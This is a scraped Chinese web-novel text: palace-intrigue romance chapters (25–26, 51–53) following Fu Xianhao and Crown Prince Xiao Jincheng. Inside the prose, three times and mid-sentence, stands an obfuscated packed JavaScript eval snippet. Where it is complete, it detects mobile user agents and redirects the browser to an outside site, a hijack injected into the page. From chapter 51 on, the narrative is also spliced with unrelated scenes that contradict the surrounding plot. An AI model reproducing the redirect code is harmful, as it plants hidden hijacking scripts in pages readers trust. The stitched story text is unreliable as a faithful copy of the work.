守在门外的狱卒推开门扉,吱哑作响的门扉摇摇欲坠,狱中刺骨的寒气霎时间袭来,似乎要比外头的冷风还要刺骨,摇曳的烛火都散不尽里头的冷意。 京都府的牢狱不是用来关押犯人的,而是审案所用,遇到证据确凿的案件或是凶案重案时就会移送大理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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接受到目光的宋漳等人身形蓦然怔了下,不约而同地低下了头。 见状,萧瑾承收回目光,看向已经走到冷榻前坐下的傅羡好,她摘帷帽的动作算不上温柔,装扮精致的发梢凌乱无序,叫人心生起莫名蹂躏之意。 他眸光沉了几分,不动声色挑了挑眉,“你动作倒是快。” “她的动作会更快的。”傅羡好示意他往身后看。 果不其然,话音才落下,牢房入口的门扉就被人重重推开,清冷的嗓音夹杂着些许着意压制的愠意,不大不小的声音回荡整座牢房。 “本宫倒要看看,本宫能不能在你们的眼皮子底下将她带走!” 25.第 25 章 语毕,只见身着一袭浅桃金丝云锦袄裙的萧清歌风尘仆仆而来,鬓角碎发随着微风扬起,端瞧见伫于正中央的清隽身影时,她面上的泠冽短暂地凝滞了一瞬,很快就恢复如常。 宫中传出的消息确实是由太子亲自押送,可没人告诉她为何都已经到京都府近一刻钟,他仍未离去。 抛却周遭隐隐散发的冷冽,她这位皇兄还是很好说话的。 萧清歌福了福身,道:“皇兄。” “嗯。”萧瑾承目光带着审视,居高临下地扫过她,薄唇轻启,冷冷地问:“准备带人大闹京都府。” “清歌不敢。”萧清歌敛眉,话虽这么说但确实这么做了,她言语温和了许多,“只是听闻羡好因我一事牵扯其中,心中甚是不安。” “你心中不安是正常的。”萧瑾承微微颔首,眸底的洌散了几分,与适才疏离淡漠的神色全然不同,他转身看向身后的傅羡好,不疾不徐道:“孤为何会将她带来,你也清楚,你若是想替她,不是不行。” 话音落下,站在牢房内的傅羡好就知晓他想做些什么,抛开她与萧瑾承的暗中合作,在场的几人心中都很明白,她之所以会关在这儿,正是因为皇后不想让萧清歌入局。 如果萧清歌因为郑翊一事被带去德宗院,无形中就会将事情往正在彻查张思邈许川一事的萧澈身上引,届时就不仅仅只是郑翊一事,稍有不慎就会挑起寒门与世家之间的纷争。 皇后着意于世家,现下却也不想挑起寒门的不满。 是以萧清歌不论如何都不能入德宗院,带走一个傅羡好,一来是缓兵之计,二来她身为世家女,萧瑾承能够将她带走,此事若是传扬出去,也多会引起世家的不满。 萧清歌不能也不得驳了皇后的想法,自己以身入局将她换出。 而萧瑾承也恰恰是抓住了皇后的这点心思,才得以不费吹灰之力地将她带出宫,且对外宣称她是前往福阳宫协助操持宫宴一事,福阳宫那边他应该也已经打点过,随意寻个理由说她外出即可。 思及此,傅羡好望着不远处的萧清歌,小幅度地摇了摇头。 睨见她的动作,萧清歌神情微敛,眸中的温和渐渐地被坚决所取缔,“郑翊死在我的府上,要查也是查我,皇兄何必伤及无辜。” 霎时间,傅羡好波澜不惊的眼眸中荡起阵阵涟漪,怔愣地望着不远处的女子,眼睫轻轻地颤了下。 萧瑾承挑眉,眸中略过一丝玩味儿,他转身看向神情坚决的萧清歌,深邃的眸光恰似深不可测的寒潭,道:“如今宫门还未关,你若真想入德宗院,可以快马加鞭赶往长信宫一趟,出来后再告诉孤,你的选择。” 萧清歌身影怔忪了下,掩藏于眸下的晦涩将将涌上。 默然少顷,她抬起眸深深地看了眼伫立于牢房之中的单薄身影,示意身后的侍女上前收拾泛着寒气的牢房,福了福身,道:“多谢皇兄指点。” 说罢,她头也不回地转身离去。 拎着包袱入内的侍女们动作极快,不过眨眼的功夫就将冰冷的牢房收拾出来,垂眉低眼地退下。 不多时,牢房内又只剩下了适才的几人。 傅羡好眸光扫过榻板上的锦被,还有被叠得工工整整摆放在旁的袄子等外搭,心中涌起一股莫名的酸涩感,几乎要将她整个人覆盖住。 萧瑾承像是看出她的心思,目光在她身上停留片刻,慢条斯理地道:“她心思聪颖通透,就是过于瞻前顾后,总要有人再推一把。” 他的众多弟妹中,唯有萧清歌最合他的心。 可就算如此,也有太多太多的不舍绊住她的手脚,叫她寸步难行,只能被迫困于四方天中,身陷囹圄。 傅羡好撩起眼皮,看向男子的背影,不置可否。 曾几何时,她也曾听闻皇后与萧清歌提过,如果她是位皇子就好了,萧清歌若是男儿身,于她而言,于皇后而言,都会好过上许多。 浑浊的思绪笼罩四下,叫傅羡好心神郁结,她轻轻地呼了口气,无意沉浸在这样的氛围中,走出牢房,问:“下一步需要我做什么。” “等待。”萧瑾承负手而立,瞥了眼站在侧边静息聆听的宋漳,淡淡道:“入夜后你和我走一趟。” 宋漳听闻入夜字眼,眸光颤动了下。 守在外边的侍卫前来通报,道公主府的宫舆已经朝着翎毓门的方向前进,静默少顷,影诀悄悄地挥了挥手示意他退下,不多时,众人方才离开牢狱。 太子宫舆起驾,余白也随着宫舆不紧不慢地回宫。 宫舆消失在烟雾之中,已经备好的车舆也悄然出现在京都府后门,萧瑾承先行踏上车舆,傅羡好紧随其后,不过几息之间,车舆也驶离了京都府。 京都府静了下来。 跟在宋漳身边的侍卫抬起眼眸,“大人。” 宋漳微抬手示意他不用多言,收拢的目光不由得再次看向已经不见踪迹的车舆,道:“今夜看看情况,也就明了了。” 今日是除夕前日,街上往来人影络绎不绝,叫卖声吆喝声远远地就能够听到,弥漫于京城上空的烟火气息缭绕,扑面而来。 傅羡好上一次见到此景,已经是六年前的事情。 那时候还在姑苏,也是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14544507|154179||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个时候,双亲一手牵着她一手牵着妹妹,兄长跑在前头,一家五口相走于姑苏集市中,时而还能闻到爆竹爆开的浓烈气味,热闹非凡。 “我不是很喜欢过年。”傅羡好指尖稍稍掀起窗棂帐幔,澄亮的眼眸一眨未眨地盯着街景。 凝着她眼眸中时不时闪过的雀跃神色,萧瑾承清声哂笑,却也知晓她并非在撒谎或是在嘴硬,眸色耐人寻味,“如果没有记错,你应该是元夜后入的宫。” “嗯。”傅羡好颔首,车舆经过集市踏上了另一条静谧无人的街道,她垂下低着帐幔的手,“是除夕那日收到的消息。” 景明十三年的大年夜,是傅家最安静的年夜,静到甚至可以听到泪珠滴落茶案溅起的啪嗒声。 毫不知情的傅羡好和兄妹一同举着烟火棒嬉闹入院,见状也都不知所措地站在院中。 母亲见她回来,朝着她招了招手,不等走近就将她揽在了怀中,就连祖父和祖母,也是无可奈何地叹着气。 “不过他们什么都没有和我说,一家人在屋中待了会儿后就出了院门,与姨娘和弟妹们一同过年。”傅羡好神情淡漠,灼热的烛火都驱不走她身上的寒,“是到了大年初六,上路的前夕才告知我。” 被推上车舆时,她还是茫然的。 父母与她一同上路,将她送往临城驿站,到了那儿,就是宫中的侍卫和宫人前来迎送,傅家再也不得插手一二。 时日过去太久,很多细节傅羡好都已经不记得了,唯独记得入宫的车舆驶离时,母亲泪眼婆娑,一路小跑跟在后头,随着车舆越驶越快,她的身影也越来越小,小到被眼中的水汽覆盖,再也看不清。 那是她入宫前,记忆中母亲的最后一面。 “六年过去,我都有点近乡情怯了。”傅羡好轻轻地笑了下,一想到马上就要见到双亲和兄妹们,心中就会涌起些许怯意。 她最怕的,莫过于自己已经长成了他们不认识的模样。 萧瑾承隐匿于烛火下的双眸晦暗不明,定定地凝着她片刻,目光看不出丝毫情绪,默然半响,他抬手掀起另一侧帐幔。 现下不过傍晚时分,舆外高楼人家和临街铺子小厮拎着八角灯笼出来,寻来长杆将其一盏一盏地挂起,耀眼夺目的烛火坠入傅羡好的眼眸中,衬得容颜愈发得流光溢彩。 傅羡好侧眸看他少顷,笑道:“我没有在难过。” “嗯。”萧瑾承垂着眼帘,看着烛影下的面容,道:“既然出了宫,自然要看看没见过的街景。” 闻言,傅羡好低声笑了笑。 她点了点头,‘嗯’了声。 26.第 26 章 楼宇檐下八角灯笼扬风而起,烛影穿透薄纱拂过往来人影,车舆还未驶入佑安街,街上的喧闹声便已经划破天际循来,与习习冷风萦绕于车舆四下,渐渐的,舆中的冷意也慢慢消散地无影无踪。 伴随着喧闹声,车舆驶入小道,不疾不徐地停靠在惜云阁偏门。 暗卫已经等候在偏门两侧,车舆将将停稳,他们就已经推开稍稍合拢的门扉。 傅羡好戴着帷帽,掌心微微抵着萧瑾承修长有力的手臂,快速地下了车舆,随着暗卫快速地走向惜云阁。 惜云阁楼宇不过五六处,最高的楼宇位于西南一隅,若无主子的准可,顶层不曾对外开放,现下傅羡好出宫,自然也就居住于此地。 也正是因为傅羡好要来,是以阁中也以时辰未到为由,挡住了等候在前院的客人们,她前脚踏入楼宇,后脚就见影诀自另一侧门扉出现,跟随在他身后的,还有一姑娘,看上去不过十五六岁的模样。 她生得张圆脸,眼眸也是圆溜溜,清澈的像是不谙世事的模样,看上去要比在场的所有人的年岁都要小上不少。 临近之时,影诀侧身,拱手道:“姑娘,这是观祺,您出宫的这些时日,由她来护姑娘安危。” 观祺上前,“姑娘。” 傅羡好点了点头。 楼宇最高处烛火亮起,不知何处而来的呼唤声夹杂着寒风袭来,傅羡好回眸望下掠了眼,就见楼宇下方的烛火一盏一盏地燃起,紧阖的门扉也在这一瞬推开迎客。 “楼下是听评书的地。”萧瑾承推开一处门扉,茶室中早已烧上了炭火,暖意扑面而来,“过了时辰后就不会再有人前来叨扰。” 傅羡好目光扫过茶室,与宫中竹林深处的竹屋有异曲同工之妙,要不是楼下的喧闹声,她都以为身处于竹屋之中,“殿下就不怕有人认出来。” 茶室门扉被带上,室内只留有两人的身影。 萧瑾承恣意而坐,不紧不慢地提起茶壶,壶中的沸水洋洋洒洒地倾斜而落,他掀起眼眸,看了眼伫立于窗牖前的身影,道:“除了你,再无第二人。” 傅羡好转回身,被烛火照得晶莹剔透的眼眸落在烟雾缭绕的茶盏上,循着蕴起的烟雾看向专注沏茶的男子,“倘若哪日消息走漏,必然是我无疑。” “得了空,可以去趟定安侯府。”萧瑾承未抬头,恰似嫩笋的新叶翻滚于手掌大小的玉盏中。 傅羡好走上前:“嗯?” 不明白为何突然提到定安侯府。 萧瑾承抬手,修长的指节搭在矮小的白泥陶瓷茶盏上,道:“定安侯府茶室,与这儿也甚是相似。” 闻言,傅羡好若有所思掀起眼帘,看向慢条斯理将茶水倒入陶瓷茶盏的男子,四下荡漾着徐徐升起的茶香,“定安侯家的小世子,与三殿下自幼交好,公主偶尔也道两人穿着同一条裤子长大的,只需一个眼神就知道对方的想法。” “定安侯府的茶室,是他有次入宫无意闯入我那儿瞧见的,回府之后就磨着定安侯一定要按照竹屋打造茶室。”萧瑾承递了盏茶水给她,漫不经心地道:“定安侯耐不住他磨,只得前来寻我,不久后,这样装扮茶室于京中多为盛行。” 傅羡好一听,就知道他是有意为之,莞尔一笑:“殿下是借着小世子的名头,把宫外的落脚点打造成自己喜欢的模样。” 萧瑾承未置可否,呷了口茶水。 落脚的地方,自是要按心意来。 淡韵的茶香徐来,傅羡好指腹掠上茶盏,灼热的茶水已然将茶盏蕴热,丝丝缕缕的热气透过绵密的肌肤缝隙,荡入心尖。 一时间,茶室内静谧无垠。 两人都没有开口,就这般静默地对坐品茗。 品着品着,傅羡好嘴角微微扬起,点点笑意不疾不徐地在脸上荡漾开来,绵密可人的笑容渐渐罩过吹拂烛火,与之相较更加得璀璨夺目。 萧瑾承看她,眉梢扬起。 “觉得有些诡异。”傅羡好落下茶盏,甚是相似的茶室让她宛若身处于竹屋中,可眼下的松懈却又清晰地告诉她,这儿是在宫外,“我眼下明明是被关押审问的犯人,却要比在宫内来的舒心。” 身处宫中时,就算前去寻找萧瑾承,她再三小心,不说往返的途中担心被人瞧见,就是位于东宫或是竹屋时,也会担心有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14559134|154179||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人中途发现她不在寝殿内,引起大乱。 和现下心神松弛地坐在这儿品茶,倒是形成了鲜明的对比。 萧瑾承指尖碾过指节上的碎珠,看着她嫣然一笑的惬意神色,“你之前不想出宫,不也正是因此。” 傅羡好摩挲着陶瓷茶盏上的纹路,‘嗯’了声。 过于美好的事物享受过一次后,就会期冀着第二次,第三次,甚至是无数次。 而按照家中与皇后的约定,仍有一年多的光景。 傅羡好抿了抿唇,倏地将心中的舒畅抛到脑后,提起精神问:“今夜前往张思邈府中,除了见他,还有其他官员吗?” 她话锋转得极快,明显就是不想再顺着适才的话深思,萧瑾承也随着她的意,“没有。”他叩着茶盏的指节擦去杯璧,又道:“徐为止也在,你若是想见他,也可以。” 傅羡好精致的眉梢微微蹙起。 要不是萧瑾承神色如常,她都要以为是自己听错了名字。 当朝首辅徐为止,曾师从于傅家,他入朝为官之时傅羡好尚未出生,而后其步步高升之时,倒常常听家中提起,如今众人皆默认其为世家官员之首,未曾听闻过其与寒门有过多的接触。 萧瑾承道:“他只是露个面,不会停留太久。” 傅羡好若有所思地点了点头,“殿下若是需要我见,我也— —” 忽而叩响的门扉打断了盈盈话语,影诀的嗓音透过门扉缝隙传来。 “主子。”他顿了顿,似乎是在看什么,沉吟了下后,方才继续道:“大公子求见。” 大公子? 傅羡好狐疑。 思来想去都没想到影诀会称呼谁为大公子,甚至无需点名姓氏。 不过能在第一时间得知萧瑾承离宫就找来的人,想来也是他信任的人,傅羡好紧绷的神情忪了几分,禁不住问:“是谁?” 闻言,萧瑾承漫不经心地侧眸睨了眼,微抿的薄唇轻启,清冽的字眼悄然溢出。 “王绍卿。”烛影掠过他清隽的面容,带来一层暗色,叫人看不清他的神情,他轻笑了下:“你口中再好不过的选择。” 50-60 第 51 章 第 51 章 皓月当空,华灯初上。 随处可见的花灯肆意绽放,流光溢彩,漫步人影不疾不徐地踏着斑斓多姿的光影而过,酒肆楼宇的喧闹声、欢呼声络绎不绝,偶有琴瑟之音拂过,热闹不已。 往前走,还能看到杂耍和花鼓戏,未走远,就听到时不时响起的欢呼声,偶尔还会伴随着失望的嘘声。 傅羡好回眸瞥了眼跟在身后的萧瑾承,以及他身侧神色各异的王绍卿和萧予淮两人,思忖须臾,牵起观祺的手,微提裙摆穿过人群,朝着喧闹声四起的空旷场地跑去。 刹那间,隐于人群中的暗卫倏然跟上。 小跑离去的背影张扬肆意,是萧瑾承少见的模样,皎洁月色与流光溢彩的灯火交相辉映,徐徐落在她的身上,鹅黄色的裙摆随风舞动,恰似瀑布般倾泻而下的黑发荡起,繁华街景倏然失色。 “我第一次见她时,她就是这般。”王绍卿慢条斯理地说着,凝着女子背影的深邃瞳孔潋上些许说不清的情愫,“恣意张扬,与宫中的她全然不同。” 萧瑾承虽在漠北镇守三年,成了赫赫有名的武将,但他的书法乃名家亲授,外加他天资过人,悟性极高,书法自成一派,自小便得到太学院诸多大儒的赞赏。 因此虽然他不专攻书法,但其功底并不弱。 窄小的房间,雕花的木门紧闭,唯有傅羡好一侧的窗户半开着,不断涌动的风夹带着些许碎雨,吹起傅羡好轻柔飘逸的裙摆,并时不时沾到书案上。 初夏时节,院子里绿意盎然,疏于打理的树枝四处蔓延,有几枝甚至探到了窗边上,在末端开出一朵洁白而朴素的小花。 傅羡好肌肤雪莹,但脸颊处却像是抹了胭脂一般嫣红,长而密的睫毛微垂,盖住了紫灰色的瞳仁。 细手执笔,亭亭玉立。她于窗台洗笔,这场景自成一幅画,比萧瑾承所见的任何一副仕女图都美。 然而,萧瑾承却无心欣赏这道美景。 自他让傅羡好去写字之后,就没有挪动过脚步,静静地站在那里。只是,他眼底沉沉,目光从没离开过傅羡好。 在萧瑾承的注视之下,傅羡好心跳如雷,脸上烧红,竟觉得有些晕晕乎乎。雨天湿滑,笔杆又十分细长,她甚至有些拿不住笔。 他的目光犹如实质的火焰,每一道视线落到傅羡好的身上,她都觉得那处被火烧过似的,让她浑身不自在。 这样,可不行! 傅羡好暗暗咬了咬嘴唇,让自己忽略浑身的异样,聚起心神。 她虽没什么别的本事,但一手字是在徐夫子悉心教导下勤学苦练才有所小成。虽说不能如萧瑾承一般让人惊艳到拍案叫绝的地步,但也自成风骨。 这一手字,是她为数不多的能拿得出手的东西了,她绝对不能在这里掉链子,让萧瑾承觉得她朽木不可雕。 傅羡好深吸一口气,提起半口气沉在丹田,泛着水光的双眼看着泛着微黄的宣纸。缓缓吐气,右手执笔,让笔尖舔满墨汁,左手微微挡住过长的衣摆。 《灵飞经》,她已写了不下百遍,每一个字、每一个偏旁,每一道笔锋,她都了然于心。 她有十足的信心! 然而,当笔尖吻上薄纸的那一刻,傅羡好却懵了。 墨水浓厚过甚,字不成形。只写了一个字,她就写不下去了。 书法讲究整体,一字毁,全篇毁,尤其还是第一个字。 傅羡好从没遇到过这种情况,只觉脑中轰然一响,她下意识看向一旁的萧瑾承,在接触到萧瑾承的眼神后,又仿佛被针扎一半别开眼。 傅羡好用的东西,都是皇宫中最上等的,她自然不用操心笔墨纸砚这些东西的好坏,甚至连稍微次一等的东西,都到不了她的眼前。 因此一瞬间,她都没察觉是墨水的原因,直接呆住了。 萧瑾承时刻注意着傅羡好的动作,见她脸色一变,心中悄然升起一股恶趣味,他闲庭信步地上前,仿若关心的模样,悠悠道:“傅妹妹,可是有什么难处?” 傅羡好惊慌地抬头,见萧瑾承向她走来,吓得一把将桌案上的宣纸揉成一团。然而揉成一团之后,她又十分懊悔。 这番动作,未免也太刻意了些。 “没什么,”傅羡好强行镇定自若,然而低着头却难掩浑身的底气不足,“刚刚我见纸上面有一只虫子,吓了一跳,赶紧将虫子包起来。” 傅羡好心里慌得没底,如今萧瑾承在她跟前,她也没办法找到字毁的原因,只能绞尽脑汁地让萧瑾承离开。 她捏紧手上的笔,微微抬头,强行掩盖自己的不安和恐慌,让自己的眼神看起来稀松平常:“太子表哥身上衣物潮湿,还是不要站在窗口上吹风,先去那边坐一会儿吧。” “待傅羡好写完后,再拿给太子表哥。” 看着傅羡好可羡巴巴地睁眼说瞎话,萧瑾承心里一阵舒爽,觉得总算是打击了傅羡好之前在他身上为非作歹的嚣张气焰。 傅羡好想让他离开,他如何听不出来她的意思? 然而他等的便是这一刻,怎么让她如意? “无妨,我身体无碍。”萧瑾承装作浑然未觉的模样,颇为贴心地为傅羡好再铺上一张纸,“只是可惜了妹妹刚刚的字,幸好这里的宣纸还不少。” “妹妹只管写,若是再有虫子,我帮妹妹赶走它。” “况且傅妹妹刚刚说要请教书法,那我看着妹妹写,倒是能一眼看出问题,省了不少功夫。” 萧瑾承缓缓地用镇纸玉石将泛黄的宣纸熨平,似笑非笑地看着傅羡好,道:“傅妹妹,你说呢?” 傅羡好脸色煞白,如遭雷劈。 萧瑾承的声音在她的头响起,她不敢抬头,只能低头凝视着新的宣纸,一瞬间,觉得手中的狼毫重达千斤。 她想不明白。 这个动作,她做了不下千次;这些字,她写了不下万次,可没有一次是刚刚那个样子的! 而萧瑾承也一反常态,以往她和他连话都说不上几句,就被他请出了东宫,但如今他却赶都赶不走,竟还要看着她写字! 一想到今天可能会在萧瑾承面前出丑,甚至还是在自己最拿手的一方面,傅羡好忽然就觉得鼻子开始酸起来。 明明……明明不是这样的,可今天怎么会这样…… 萧瑾承不喜欢爱哭的姑娘,傅羡好不敢在他面前掉眼泪,即使眼圈绯红,却只能努力憋住。 而萧瑾承心里出了这口气,心里的戾气散了不少。他为傅羡好铺开宣纸后,低头注视着傅羡好,等着欣赏她再次变脸。 可等了许久,也不见傅羡好动笔。 只见她低着头,瘦削的肩膀耷拉着,从萧瑾承的角度看下去,只能见着她樱红却颤抖的嘴唇,以及她浑身散发着沮丧的气息。 外面风雨大作,风向几经变换,忽地一阵大风涌起,越过窗台直直地往屋子里灌。 风中带雨,打在手背上莫名寒凉。 窗台位于傅羡好的一侧,萧瑾承站在书案前,只能向前倾身才能关上窗。 宣纸就这么多,绝不能让雨打湿了,否则傅羡好就有了不写字的借口! 萧瑾承很喜欢刚刚傅羡好脸上的惊慌失措和无助,这些少见的情绪,让她那张美艳绝伦的脸上,终于有了些许生机。 他抬手关窗,然而就在他倾身而过的瞬间,仿佛听到了几声微不可查的哽咽。 这声音十分微弱,若不是室内静可闻针,而他又正好靠近傅羡好,绝不可能会注意到。 萧瑾承恍惚一瞬,心里莫名多了几分异样。 她竟哭了? 怎么会不喜欢。 不论是手边的花灯,亦或是眼前的街景,曾经只存在于她的梦中。 眼下终得成真,倒叫她稍有恍惚,生怕这不过是梦中的场景,睁开眼眸就会不复存在,她还是身处于寂静无垠无人问津的深宫之中。 “傅羡好。” 耳畔响起道温润柔和的嗓音。 她下意识地侧眸看去,就听到萧瑾承又道:“抬头。” 傅羡好循着他的话语抬起眼眸,骤然绽开的漫天烟火映入她的眸中,灿烂耀眼的光影照亮了整条街道,夺目得不像话。 尘封已久的内心随着烟火坠落的花火轻轻颤抖了下。 第 52 章 第 52 章 璀璨明艳的烟火缕缕升空。 绽开,坠落。 残留的烟火焯烫过宁静无垠的内心,微微颤动着。 女子纤长的眼睫稍稍扇动着,落满了烟火的瞳孔轻轻地落下几分,霎时间撞入男子清冽幽邃眼眸深处,那双泛着隐隐笑意的如墨瞳孔宛若勾人的丝线,一点一点地将她拉入其中。 傅羡好听到了烟火蓦然绽开的声响。 她眨了眨眼眸。 傅羡好深吸一口气,忍着如雷的心跳,索性把香囊从怀里取出,双手呈到萧瑾承面前,埋着头直接一口气把背了一夜的话说出: “太子表哥得胜归来,傅羡好长居宫中,身无别物,没有别的东西祝萧太子表哥凯旋归来。端午佳节将至,傅羡好特意做了这个香囊给表哥,愿表哥永远安康常健。” 说完,傅羡好那口憋在胸膛的气松了半截,天知道这些日子她都是怎么过的,给萧瑾承送礼,她在太学被夫子抽查背诵还让人寝食难安。 在但紧随其后的,便是愈发未知的惶恐。若是太子表哥不收,那该怎么办? 萧瑾承自幼天资过人,是所有皇子中最受圣宠的皇子,一出生便被立为东宫储君,上赶着巴结附庸的人如过江之鲫,不计其数。 可萧瑾承却一早就显示出他非凡的一面。 一不喜财,不收金银珠宝;二不爱名,不收书法字画;三不重色,东宫之内甚至连一个宫女都没有,清一色全是太监和侍卫。 如此许多年下来,竟没有一个人能猜到萧瑾承喜欢什么东西。 傅羡好之所以选择亲手缝制香囊,也是思虑再三才做的决定。萧瑾承喜欢独自看晚霞,是她四年前意外在宫里迷路发现的。 如此,这个香囊既不显得过分贵重,添了几分庸俗,又算是投其所好,绝不让人以为是敷衍。 傅羡好捧着香囊,脑子里甚至只有自己如雷的心跳声,一阵晚风吹过,她忽觉几丝凉意爬过,她竟紧张地出了一身汗! 萧瑾承低头看着傅羡好手上的香囊,一言不发。 香囊典雅别致,淡淡散发着香草的气息,或许是在傅羡好的怀中揣着,竟还沾了几分她身上香气。 少女的身量只堪堪到他的胸口,小小的样子,似乎他一只手就可以将她提起来。一双手白皙修长,没有半分瑕疵,活像是白玉雕成的一半,指尖小巧晶莹,微微泛红。 似乎是害怕紧张,双手甚至有些许颤抖。 萧瑾承看向少女一直埋在胸口的脸,正好对上傅羡好偷偷抬眼打探的眼神,暮色下的瞳色偏灰,水润莹莹,像是氤氲着雾气,无端多了几分无辜纯真。 他看见少女猛地一惊,又飞快低下头去。 眉目传情,欲语还休,萧瑾承心里一哂,纵使矫揉造作,但神情姿态倒是拿捏得十分到位。 这些年无数人疯狂地向他的身边塞各种美人,甚至上午他才暗暗绝了几位大臣想把家中女子送入东宫的念头,如何看不出眼前少女的心思? 那小心翼翼的动作,那急促的呼吸,那颤抖的双手,那眉目含情的模样,无一不昭示着这个女子,对他绝不只是表兄妹之情。 傅羡好手中一轻,是萧瑾承拿起香囊。 萧瑾承后退一步,收起锦囊淡淡道:“多谢傅妹妹。” 身后的杜衡和小太监都无声地睁大眼睛,讶异地看着萧瑾承,显然是搞不懂萧瑾承的变幻无常。 明明刚刚丞相家小姐送礼他连看都不看就让人扔掉,现在却又收下傅羡好的礼物,更何况还是更为旖旎的香囊。 两人将眼神好奇地移至傅羡好,虽然傅羡好一直低着头,却也能看出她气质脱俗,杜衡忍不住伸长了脖子,欲探真容。 猛然间,一道冷箭似的目光狠狠地向他戳来,他后脊一凉,僵硬地偏头,正对上萧瑾承满是警告的眼神。 杜衡直接僵住了。 两人之间的暗潮涌动转瞬即逝,傅羡好浑然未觉,见萧瑾承收了香囊,她那颗悬着的心方才彻彻底底地落了地。 心里的雀跃跑到了嘴角,眼里的笑意简直要溢出来一般,霎时间仿佛盛开的夜来香,在暗夜的深宫漂亮得让人惊心动魄。 她暗自吐一口气,眉目含笑,这才敢抬头直视萧瑾承的眼睛,她乖巧道:“太子表哥莫要客气,这都是傅羡好应该做的。” “天色已晚,傅羡好就不耽误太子表哥了。” “嗯。”萧瑾承拉开一步距离,“多谢傅妹妹,妹妹慢走。” 趁着晚霞最后的余晖,傅羡好福了福身,踏着轻快的步伐,满心雀跃地离去,那背影似是刚落地的幼鹿一般,浑身洋溢着新生的喜悦。 深宫之中,难得见到如此鲜活的身影,竟让人有些移不开眼。 直到傅羡好的背影消失在宫墙角,小太监才意犹未尽地转收回视线,一扭头,就对上萧瑾承阴鸷的双眼。 “好看吗?” 萧瑾承眼神晦暗不明,凉凉地问。 小太监心神一惧,身子比脑子反应快,他“扑通”一声跪下,“太子殿下恕罪!” 傅羡好待人和善,在萧瑾承离宫的这三年里,东宫的小太监多半受她的恩惠,这小太监正是今日给傅羡好报信之人。 萧瑾承缓缓走到小太监面前,宫灯皆已点亮,他逆光而立,斜着眼看他,似笑非笑:“我问你,刚刚好看吗?” 萧瑾承生就一双丹凤眼,不笑时便不怒自威,眉尾自然上扬,或许是三年征伐,整个人显得犀利而带几分薄凉。 “……”小太监被萧瑾承的眼神看的后背发凉。 这话能怎么回答?他清楚,自己已是犯了大忌,萧瑾承要的根本不是他的回答。小太监手指抓地,绝望地闭上双眼。 果然,萧瑾承没打算轻饶他,一道异物狠狠地向他的脸上劈来,他不敢躲,硬生生受了这一击。 然而出乎意料的是,这一击看似凶猛,却毫无杀伤,他睁开眼,见着袭击自己的那东西,瞬间愣住了。 昨夜刚下了雨,青石板的凹陷处还有泥泞的积水。那脏湿的污水,正一点一点将绣工精美的香囊淹没。 漫天的红霞,彻底陷入泥潭。 “怎么,心痛了?”萧瑾承注意到小太监的僵硬,冷声道:“她给了你什么好处,让你给她通风报信?” 在傅羡好拿出香囊的时候,他就知道傅羡好的目的并非在未央宫,而是他自己。 时间卡的这么好,很难不让人怀疑是有人通风报信。 他决不允许有人把手伸到他的东宫! 小太监吓得浑身一缩,来自上位者的威压让他不敢有所隐瞒,颤着声道:“太子殿下误会了,傅小姐并未给我什么好处,只是她以前常去东宫……” 萧瑾承一凛:“常去东宫?去干什么?” 小太监:“……侍弄花草。” 萧瑾承:“……” 萧瑾承眯起双眼,依稀记得傅羡好确实喜欢一些奇花异草。几年前底下人进献了几株欧碧牡丹,分散在各个宫栽种,唯有东宫的那株活了下来,那时傅羡好就常来东宫看花了。 萧瑾承沉吟许久,“那东宫的所有人都与她相熟?” 小太监不敢直说,便只道:“傅小姐待人和善。” 萧瑾承心里冷笑,没想到只是三年时间,别人的手不仅已经伸到了东宫,甚至连他东宫的墙角都已经翘了! 他下意识看了眼未央宫的大门,眼神深沉,对着杜衡沉声道:“这事儿交给你处理了。” “所有人,全部换掉!” 傅羡好指腹摩挲过粗粝的信封,“世家与寒门的纷争将将被摆上台面,若真到了抉择的那日,父亲— —”她沉默少顷,换了个问法:“父亲希望女儿选择谁。” “自是世家。”傅峋不做丝毫的迟疑,他虽无意选择,但真到了必须要做出决定的事情,答案呼之欲出,“你我的荣辱皆是世家的名声带来的,没有别的选择。” 傅羡好颔首。 意料之中的答案。 世家就像是巍峨大山,旁人羡慕于它的磅礴雄伟,大山溪流滋养着的树木也不由得叫人艳羡,而出身于世家的他们,就如同高山上的一棵棵树木,汲取着世家的土壤,也该为高山遮风避雨。 即是遮风挡雨,就要履行遮风挡雨的职责。 为傅家谋求新的出路,也是行遮风避雨的责任。 静默片刻,傅羡好抬眸:“世家与寒门中,父亲选择了世家,是否代表着,父亲选择的是三殿下,而非太子殿下。” 第 53 章 第 53 章 骤然间,万籁俱寂。 洋洋洒洒落进的斑驳光影不疾不徐地变幻着色彩,分明是艳阳天,静谧的书房内恰如坠入了寒天冰窖中,刺骨的严寒铺天盖地般涌来。 位于主座上的傅峋眸色凛冽,徐徐涌起的愠怒夹杂着些许说不清道不明的欣赏,交织不明的情绪无比复杂。 四目相对,傅羡好的视线没有过半分闪躲,清澈的眸子径直地对上傅峋的目光。 